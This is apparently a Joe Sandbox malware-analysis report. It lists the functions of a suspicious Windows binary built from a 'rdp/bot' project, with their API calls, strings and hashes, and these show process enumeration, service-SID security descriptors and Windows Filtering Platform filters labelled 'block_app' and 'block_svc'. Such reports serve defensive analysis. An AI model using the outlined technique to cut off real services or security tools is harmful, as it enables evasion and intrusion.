Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4120527733
Opcode ID: 65d4fb601a1f5698292dcdde8469515ec84dc54ab1f3b57c9fb37bd4b7802f35
Instruction ID: 6c83b4b9d03cd313f8ba3bee392ac11ee71ce0aae5944ade28f2ae45826a3e71
Opcode Fuzzy Hash: 65d4fb601a1f5698292dcdde8469515ec84dc54ab1f3b57c9fb37bd4b7802f35
Instruction Fuzzy Hash: 91D14C22A0CA0791FA10BF57AC80B78A751AF54B95FD94931D90D576E0DFBCF8B68320

Function 00007FF70489855D Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 393COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF704899BB9: strcmp.MSVCRT ref: 00007FF704899CAD

Process32Next.KERNEL32 ref: 00007FF704898671
GetLastError.KERNEL32 ref: 00007FF70489867D
GetLastError.KERNEL32 ref: 00007FF7048986C1
GetLastError.KERNEL32 ref: 00007FF7048987A3
OpenProcess.KERNEL32 ref: 00007FF7048988DC
QueryFullProcessImageNameW.KERNEL32 ref: 00007FF704898920
GetLastError.KERNEL32 ref: 00007FF70489892E
CloseHandle.KERNEL32 ref: 00007FF704898CA8

Strings

[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF7048987BE
[E] (%s) -> OpenProcess failed(szExeFile=%s,gle=%lu), xrefs: 00007FF704898A8F
block_app, xrefs: 00007FF70489868D, 00007FF7048986CC, 00007FF7048987B7, 00007FF704898939, 00007FF704898A2B, 00007FF704898A88
[E] (%s) -> QueryFullProcessImageNameW failed(gle=%lu), xrefs: 00007FF704898940
[I] (%s) -> Done(szExeFile=%s,th32ProcessID=%d), xrefs: 00007FF704898A32
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF704898694
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF7048986D3
app, xrefs: 00007FF70489858D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLast$Process$CloseFullHandleImageNameNextOpenProcess32Querystrcmp
String ID: [E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> OpenProcess failed(szExeFile=%s,gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> QueryFullProcessImageNameW failed(gle=%lu)$[I] (%s) -> Done(szExeFile=%s,th32ProcessID=%d)$app$block_app
API String ID: 1025937399-1899507746
Opcode ID: f239fd8f6774d87dc5bfea94598835879428ace1de78577f0772c374105c3bb5
Instruction ID: 6547c004eb5fadaed9d36331df9608014660858c77867320d46a18dbf4167606
Opcode Fuzzy Hash: f239fd8f6774d87dc5bfea94598835879428ace1de78577f0772c374105c3bb5
Instruction Fuzzy Hash: 23F12911F2CA0386FA717E17ACC4B789251AF46358F980C32C64F0A2D5CF6DFDA49626

Function 00007FF704891131 Relevance: 13.6, APIs: 9, Instructions: 120
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF704891313), ref: 00007FF70489116E
_amsg_exit.MSVCRT(?,?,?,00007FF704891313), ref: 00007FF70489118D
_initterm.MSVCRT ref: 00007FF7048911AE
_initterm.MSVCRT ref: 00007FF7048911D3
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF704891212
malloc.MSVCRT ref: 00007FF704891244
strlen.MSVCRT ref: 00007FF70489125C
malloc.MSVCRT ref: 00007FF704891268
_cexit.MSVCRT(?,?,?,00007FF704891313), ref: 00007FF7048912E3

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: 2813f3856443894ab469f366167a80d9e07d419bf14478a7c388344116e67307
Instruction ID: bb40c3caca037ffa44ae6b5dee335c720c17c23731958e243436f1c69628e783
Opcode Fuzzy Hash: 2813f3856443894ab469f366167a80d9e07d419bf14478a7c388344116e67307
Instruction Fuzzy Hash: CF510826A09A4785FA55BF53ACD4A79A2A0AF44B84F884835C90D477D6EF6CF874C320

Function 00007FF704898CFC Relevance: 40.5, APIs: 9, Strings: 14, Instructions: 281
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF704899BB9: strcmp.MSVCRT ref: 00007FF704899CAD

Part of subcall function 00007FF704891CF4: LoadLibraryA.KERNEL32 ref: 00007FF704891D02

FreeLibrary.KERNEL32 ref: 00007FF704898DAC

Part of subcall function 00007FF704891C73: GetProcAddress.KERNEL32 ref: 00007FF704891C93

strlen.MSVCRT ref: 00007FF704898EEF
GetProcessHeap.KERNEL32 ref: 00007FF704898F6B
HeapAlloc.KERNEL32 ref: 00007FF704898F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF704899010

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF70489905D
GetProcessHeap.KERNEL32 ref: 00007FF7048990F2
HeapFree.KERNEL32 ref: 00007FF704899103
LocalFree.KERNEL32 ref: 00007FF7048991E4

Part of subcall function 00007FF7048914E2: EnterCriticalSection.KERNEL32 ref: 00007FF7048915B3
Part of subcall function 00007FF7048914E2: LeaveCriticalSection.KERNEL32 ref: 00007FF7048915DB
Part of subcall function 00007FF7048914E2: CopyFileA.KERNEL32 ref: 00007FF704891638

Strings

[E] (%s) -> RtlAnsiStringToUnicodeString failed(res=%08lx), xrefs: 00007FF704898E38
RtlCopyMemory, xrefs: 00007FF704898E09
RtlZeroMemory, xrefs: 00007FF704898DF1
RtlCreateServiceSid, xrefs: 00007FF704898DB7
ntdll.dll, xrefs: 00007FF704898D5F
svc, xrefs: 00007FF704898D2C
[I] (%s) -> Done(svc_name=%s), xrefs: 00007FF7048991F9
[E] (%s) -> RtlCreateServiceSid failed(res=%08lx), xrefs: 00007FF704898E52, 00007FF7048990D3
mem_alloc, xrefs: 00007FF7048990AC
block_svc, xrefs: 00007FF704898E31, 00007FF704898E4B, 00007FF704899070, 00007FF7048990CC, 00007FF7048991F2
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7048990B3
RtlAnsiStringToUnicodeString, xrefs: 00007FF704898D73
RtlFreeUnicodeString, xrefs: 00007FF704898DD4
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF704899077

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$Free$BuildCriticalLibraryProcessSection$AddressAllocCopyDescriptorEnterFileLeaveLoadLocalProcSecurityTrusteeWithfflushfwritestrcmpstrlen
String ID: RtlAnsiStringToUnicodeString$RtlCopyMemory$RtlCreateServiceSid$RtlFreeUnicodeString$RtlZeroMemory$[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> RtlAnsiStringToUnicodeString failed(res=%08lx)$[E] (%s) -> RtlCreateServiceSid failed(res=%08lx)$[I] (%s) -> Done(svc_name=%s)$block_svc$mem_alloc$ntdll.dll$svc
API String ID: 3039259412-1782951725
Opcode ID: facef552b05594f5c141d541bbb0fca2f992695a7b7a944a785e6a839d7ef5e8
Instruction ID: 5407f3f28965613bc5019b03582a5d4ec8562a78f25aa5cb2a8024169ed56bfb
Opcode Fuzzy Hash: facef552b05594f5c141d541bbb0fca2f992695a7b7a944a785e6a839d7ef5e8
Instruction Fuzzy Hash: E8D17D61A0CA8395FB20AF46ACC0BB9A250BF85344F984835DA4D477D5DF7DF8A9C720

Function 00007FF70489795A Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 206
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70489797E
HeapAlloc.KERNEL32 ref: 00007FF70489798F
GetProcessHeap.KERNEL32 ref: 00007FF704897C24
HeapFree.KERNEL32 ref: 00007FF704897C35
FwpmFilterAdd0.FWPUCLNT ref: 00007FF704897BEA

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF704897C74
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF704897CAF
FwpmFilterAdd0.FWPUCLNT ref: 00007FF704897D44

Strings

[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx), xrefs: 00007FF704897D6E
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx), xrefs: 00007FF704897C0E
TL, xrefs: 00007FF7048979C0
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF704897C94
setup_svc_filt, xrefs: 00007FF704897C07, 00007FF704897C8D, 00007FF704897CD2, 00007FF704897D67
mem_alloc, xrefs: 00007FF704897C52
;9rJ, xrefs: 00007FF704897CEF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF704897C59
3L, xrefs: 00007FF704897B7F
TL, xrefs: 00007FF704897A0C
[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx), xrefs: 00007FF704897CD9

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: FilterFwpmHeap$Add0DeleteKey0Process$AllocFreefflushfwrite
String ID: 3L$;9rJ$TL$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$setup_svc_filt
API String ID: 3629392964-1470975255
Opcode ID: 6e65bf72a18d42d1941ba8ddbea28bee3a75f355e7b060a7362c9ecff14a5aea
Instruction ID: e16f23f9e95153ec5b9e0e10014919bae30a5ac1f6ac042b619377e1fcafffb6
Opcode Fuzzy Hash: 6e65bf72a18d42d1941ba8ddbea28bee3a75f355e7b060a7362c9ecff14a5aea
Instruction Fuzzy Hash: 3AA1C32261CBC295E7609F16BC8079AA7A1FF81784F484534EACC47B99EF7DD4A4CB10

Function 00007FF70489433B Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF704894363
_errno.MSVCRT ref: 00007FF70489444F
_errno.MSVCRT ref: 00007FF704894470
fwrite.MSVCRT ref: 00007FF7048944E4

Strings

[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF704894464
(path != NULL), xrefs: 00007FF7048943F4
[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF704894514
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048943ED, 00007FF70489441D
fs_file_write, xrefs: 00007FF7048943C5, 00007FF7048943FB, 00007FF70489442B, 00007FF70489445D, 00007FF70489450D, 00007FF7048945BD
(mode != NULL), xrefs: 00007FF704894424
[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu), xrefs: 00007FF7048945C4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704894402, 00007FF704894432
NULL, xrefs: 00007FF70489459A, 00007FF7048945A6
[E] (%s) -> Failed(path=%s,mode=%s,err=%08x), xrefs: 00007FF7048943CC

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: _errno$fopenfwrite
String ID: (mode != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,mode=%s,err=%08x)$[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d)$[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d)$[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu)$fs_file_write
API String ID: 1336347884-544371937
Opcode ID: 3ea3d04103caf584a6be8025fb8b08055c9260d477d2a9eb3e57722f6341be90
Instruction ID: 52c46a6fd8a3e887297dccb89550ee315705141c96b4f9469c73f117d90df9d7
Opcode Fuzzy Hash: 3ea3d04103caf584a6be8025fb8b08055c9260d477d2a9eb3e57722f6341be90
Instruction Fuzzy Hash: B7517062A0DA4382FA10BF57AD80EB8E351AF44B94FD80936D91D472D0DF6CF9769320

Function 00007FF70489168C Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7048916AC
GetLastError.KERNEL32 ref: 00007FF7048917E0

Part of subcall function 00007FF7048919C0: GetModuleHandleExA.KERNEL32 ref: 00007FF7048919DE

strlen.MSVCRT ref: 00007FF7048916FE
strlen.MSVCRT ref: 00007FF70489171A
strcat.MSVCRT ref: 00007FF704891735
strlen.MSVCRT ref: 00007FF70489173D
strlen.MSVCRT ref: 00007FF704891752
fopen.MSVCRT ref: 00007FF704891778

Strings

[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF7048917A5
Done, xrefs: 00007FF70489191D
wfpblk.l, xrefs: 00007FF70489175A
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF7048918B7
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF7048917CA
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF7048917F2
debug_init, xrefs: 00007FF70489179E, 00007FF7048917C3, 00007FF7048917EB, 00007FF7048918B0, 00007FF704891924
[I] (%s) -> %s, xrefs: 00007FF70489192B
log, xrefs: 00007FF704891767

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$wfpblk.l
API String ID: 3395718042-2291025694
Opcode ID: 518ad545b8143c4010e70e1190a9f3b2366be347716946774d018b99aa939417
Instruction ID: 495400d6f8234a82fefd8e8e9b5e1a4065452d47196bd878ae92f2ad85225920
Opcode Fuzzy Hash: 518ad545b8143c4010e70e1190a9f3b2366be347716946774d018b99aa939417
Instruction Fuzzy Hash: 15514851A0CA0391FA20BF53ACC8BB89255AF45784FD80932C50E166D6DFACBDB5D361

Function 00007FF704895E6F Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 00007FF704895EC7
LockFileEx.KERNEL32 ref: 00007FF704895F00
GetLastError.KERNEL32 ref: 00007FF704895FD5
GetLastError.KERNEL32 ref: 00007FF7048960BA
CloseHandle.KERNEL32 ref: 00007FF70489622E

Strings

(path != NULL), xrefs: 00007FF704895F81
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF704895FEA
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704895F5B
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704895F7A, 00007FF704895FAA
[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF704896252
fs_file_lock, xrefs: 00007FF704895F54, 00007FF704895F88, 00007FF704895FB8, 00007FF704895FE3, 00007FF7048960C8, 00007FF70489624B
[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF7048960CF
(lock != NULL), xrefs: 00007FF704895FB1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704895F8F, 00007FF704895FBF
NULL, xrefs: 00007FF704896239

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: (lock != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock
API String ID: 2747014929-530486279
Opcode ID: d1819f04df503fe90d8bfb31b2e46d2cf12326b6f8b3182bba2d6709e2339756
Instruction ID: 434109b2aa46469fbdc8fe31a4d8dba56e60dd89d95942cc3764757d2400a622
Opcode Fuzzy Hash: d1819f04df503fe90d8bfb31b2e46d2cf12326b6f8b3182bba2d6709e2339756
Instruction Fuzzy Hash: F3813F12E0CB0B91FA357F56ACC0B78A2505F00764FD80932D92E166D1FFADBDA58362

Function 00007FF7048997F2 Relevance: 25.7, APIs: 7, Strings: 10, Instructions: 241
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70489983D
HeapFree.KERNEL32 ref: 00007FF70489984E

Part of subcall function 00007FF7048945D5: fopen.MSVCRT ref: 00007FF70489461A
Part of subcall function 00007FF7048945D5: fseek.MSVCRT ref: 00007FF704894639
Part of subcall function 00007FF7048945D5: _errno.MSVCRT ref: 00007FF70489464D
Part of subcall function 00007FF7048945D5: _errno.MSVCRT ref: 00007FF704894668

GetProcessHeap.KERNEL32 ref: 00007FF70489997A
HeapAlloc.KERNEL32 ref: 00007FF70489998B
strncpy.MSVCRT ref: 00007FF704899ACC
strncpy.MSVCRT ref: 00007FF704899AE3
strncpy.MSVCRT ref: 00007FF704899B42

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7048999DA
ini_load, xrefs: 00007FF70489987F, 00007FF7048998BB, 00007FF704899BA1
[I] (%s) -> Done(path=%s), xrefs: 00007FF704899BA8
NULL, xrefs: 00007FF704899B92
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7048998AD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048998C2
mem_alloc, xrefs: 00007FF7048999D3
5, xrefs: 00007FF7048998A5
(path != NULL), xrefs: 00007FF7048998B4
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704899886

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$C:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc
API String ID: 1423203057-2746879330
Opcode ID: 9c961685ee9913d1762ae8a659e333fbebc391308644367b099cf1cdf6e68488
Instruction ID: 3106e9b654564618986bd195239fe5a208c6bd9ee9114c4c6d63b9f6a5f9a08e
Opcode Fuzzy Hash: 9c961685ee9913d1762ae8a659e333fbebc391308644367b099cf1cdf6e68488
Instruction Fuzzy Hash: D6A1A4A2A0DA8295FA21AF06AC80BB9A751EF41784FCC4839D94D477C5DF7CF965C320

Function 00007FF704899195 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF704898EEF
GetProcessHeap.KERNEL32 ref: 00007FF704898F6B
HeapAlloc.KERNEL32 ref: 00007FF704898F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF704899010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF70489905D
GetProcessHeap.KERNEL32 ref: 00007FF7048990F2
HeapFree.KERNEL32 ref: 00007FF704899103

Strings

block_svc, xrefs: 00007FF704899070
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF704899077

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: 15ea6d50e65a1b7c05384c060b9ffa8fcfddfd8832c5a55c0eb87056edab8287
Instruction ID: 63270dfeea49ad1686a6a877b88c25b271d40217823a91f86daf10db8a54a944
